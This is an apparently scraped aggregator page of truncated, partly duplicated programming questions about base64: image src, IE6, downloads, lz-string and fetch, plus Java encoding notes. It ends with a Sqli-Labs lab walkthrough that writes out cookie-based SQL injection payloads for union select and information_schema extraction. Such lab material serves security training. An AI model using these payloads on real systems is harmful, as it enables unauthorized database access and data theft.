base64

How to set base64 svg string to image tag src?

你离开我真会死。 提交于 2020-01-24 21:06:28
问题 I have a question. In the below code, img.onload is not firing when I set base64 as src. But when I set an image directly to src, img.onload gets fired and console.log returns "image is loaded". Can you please explain what is the cause for img.onload gets fired only when it is an image not base64 string. Also, how to make base64 string fire img.onload. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> </head> <body style="background-color

Base64 Image not showing up in IE6

喜欢而已 提交于 2020-01-24 20:01:29
问题 I am trying to render an image in IE6 from a base64 encoded string. As per the resources here and here, I am trying out this following code (the image is just the base64 encoding of my profile pic here... :), obtained from this site) <!-- Content-Type: multipart/related; boundary="=_data-uri" --> <!DOCTYPE html> <html> <head> <style type="text/css"> #pic { width:670px;height:710px; background-image: expression("url(mhtml:" + window.location + "!locoloco)"); } </style> <script type = 'text

How to force an image to be downloaded?

筅森魡賤 提交于 2020-01-24 09:11:10
问题 I hava a dynamically generated image on my page like so: <img id="my_image" src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAgEA/gD+AAD/etc............" /> Instead of telling my users to right click on the image and hit save I want to expose a download link which when clicked will prompt the image to be downloaded. How to achieve this? Initially my attempt with thus in js: var path = $('#my_image').attr('src'); window.open('./download.php?file=' + path); and in download.php: <?php header('Content

How to force an image to be downloaded?

旧时模样 提交于 2020-01-24 09:11:07
问题 I hava a dynamically generated image on my page like so: <img id="my_image" src="data:image/jpeg;base64,/9j/4AAQSkZJRgABAgEA/gD+AAD/etc............" /> Instead of telling my users to right click on the image and hit save I want to expose a download link which when clicked will prompt the image to be downloaded. How to achieve this? Initially my attempt with thus in js: var path = $('#my_image').attr('src'); window.open('./download.php?file=' + path); and in download.php: <?php header('Content

Compress/decompress string on .NET server that was encoded with lz-string.js on client

孤街醉人 提交于 2020-01-24 06:27:54
问题 I am using the LZString.compressToBase64 function of lz-string.js and need to decompress/compress the data on the server side. The obvious solution seems to be lz_string_csharp but I am concerned about this statement: If you use just the regular Javascript 'compress' function then depending on the data in the string, it will not decompress correctly on the C# side. However, if you are using the 'compress' function built into this C# version, then you should be ok to use the regular

Compress/decompress string on .NET server that was encoded with lz-string.js on client

早过忘川 提交于 2020-01-24 06:27:48
问题 I am using the LZString.compressToBase64 function of lz-string.js and need to decompress/compress the data on the server side. The obvious solution seems to be lz_string_csharp but I am concerned about this statement: If you use just the regular Javascript 'compress' function then depending on the data in the string, it will not decompress correctly on the C# side. However, if you are using the 'compress' function built into this C# version, then you should be ok to use the regular

Requesting blob images and transforming to base64 with fetch API

假装没事ソ 提交于 2020-01-24 06:26:30
问题 I have some images that will be displayed in a React app. I perform a GET request to a server, which returns images in BLOB format. Then I transform these images to base64. Finally, i'm setting these base64 strings inside the src attribute of an image tag. Recently I've started using the Fetch API. I was wondering if there is a way to do the transforming in 'one' go. Below an example to explain my idea so far and/or if this is even possible with the Fetch API. I haven't found anything online

java使用base64加密

杀马特。学长 韩版系。学妹 提交于 2020-01-23 23:07:08
早期作法(JDK1.8之前包括JDK1.8) 早期在Java上做Base64的编码与解码,** 会使用到JDK里sun.misc套件下的BASE64Encoder和BASE64Decoder **这两个类别,用法如下: //复制代码 final BASE64Encoder encoder = new BASE64Encoder ( ) ; final BASE64Decoder decoder = new BASE64Decoder ( ) ; final String text = "字串文字" ; final byte [ ] textByte = text . getBytes ( "UTF-8" ) ; //编码 final String encodedText = encoder . encode ( textByte ) ; System . out . println ( encodedText ) ; //解码 System . out . println ( new String ( decoder . decodeBuffer ( encodedText ) , "UTF-8" ) ) ; final BASE64Encoder encoder = new BASE64Encoder ( ) ; final BASE64Decoder decoder = new

base64编码原理详解

你离开我真会死。 提交于 2020-01-23 21:52:31
首先大原理是进行一系列转换后,根据base64的对应表来加密这个表,下边会展示一下 下面详细介绍一下 base64原理 如果不知道下面什么是Ascii码,那……………………百度一下吧 以“s13”的加密举例: 首先要把即将被加密的文字的每个ascii码写出来: s对应的ascii码是115,1对应的是49,3是51 对应的ascii码: 115 ,49, 51 对应的8位2进制: 01110011 ,00110001,00110011 将三个8bit换成4个6bit的高位补0: 于是得到: 00 011100 , 00 110011, 00 000100,0 0 110011 新的十进制: 28,51,4,51 接下来就根据新的base64表得到 c-28 z-51 E-4 得到 czEz 这里注意大小写,加密原理大概是这样,然后还有一个疑问就是 如果字母字数不够3的倍数怎么办; 比如只有:s 二进制: 01110011 转换为6个一组高位补0发现会不够4的倍数 所以转换成了如此: 011100, 110000(不够6个所以补0),00 000000,00 000000 然后只有第一个,第二个是正常的base64表的字母,剩下的位置(红色位置)因为没有实际影响,所以转换为= 即加密后的密文为 cw== 两个字母时就有一个=号 ,可以自行尝试一下 ss ---> c3M=

Sqli-Labs less20-22

≡放荡痞女 提交于 2020-01-23 21:50:21
less-20 第20关成功登陆之后会产生一个cookie,作为下次登陆的凭证(可以用于登陆其他人的qq空间) 这里我依然使用burp suite,其实火狐和谷歌上有许多插件可以改http头和cookie(例如 chrome工具: Cookie Editor ),掌握一个即可 抓包后发送到repeater: 改cookie:uname=admin',报错,说明存在注入漏洞 之后构造语句还是老步骤 查看列数:uname=' order by 4 # (注意闭合sql语句) 判断回显位置:uname='union select 1,2,3# 爆库:uname='union select 1,2,group_concat(schema_name)from information_schema.schemata# 爆表:uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'# 爆列:uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'# 爆信息:uname='union